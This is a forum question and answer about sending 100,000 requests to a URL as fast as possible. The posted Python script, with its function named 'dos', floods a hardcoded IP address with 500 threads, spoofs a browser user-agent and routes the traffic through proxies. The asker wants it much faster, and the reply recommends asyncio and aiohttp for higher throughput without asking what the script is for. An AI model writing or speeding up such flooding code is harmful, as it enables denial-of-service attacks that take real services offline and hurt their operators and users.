What is the fastest way to send 100,000 requests to a given url?

Admin 1
Viewed 438

Here is the source code:

import threading 
import requests
from time import sleep

f = open("http.txt")
proxy = f.readline()
proxies = {"https": f"https://{proxy}"}

def dos(proxies):
    headers = {"user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)"}
    url = 'http://176.9.10.17/HIT'
    f = open("http.txt")
    proxy = f.readline()
    proxies = {"https": f"https://{proxy}"}
    requests.get(url, headers=headers, proxies=proxies)

threads = []

for _ in range(500):
    t = threading.Thread(target=dos, args=proxies)
    t.start()
    threads.append(t)

for thread in threads:
    thread.join()

I've tried adding sleep when making the range 1,000 + and it got up to a max of 1.7k requests. I would like to make it significantly quicker.

python-requests multithreading python
2 Answers

I think you should look into asynchronous requests. Rather than waiting for each request to be completed, you can request asynchronously. The asyncio+aiohttp combination worked perfectly for me. Here is an article describing how to use them.

They are specifically built for this purpose, and might / might not be faster than the threading solution. You'll have to give it a try to check.

user_53456460
user_6482650
Related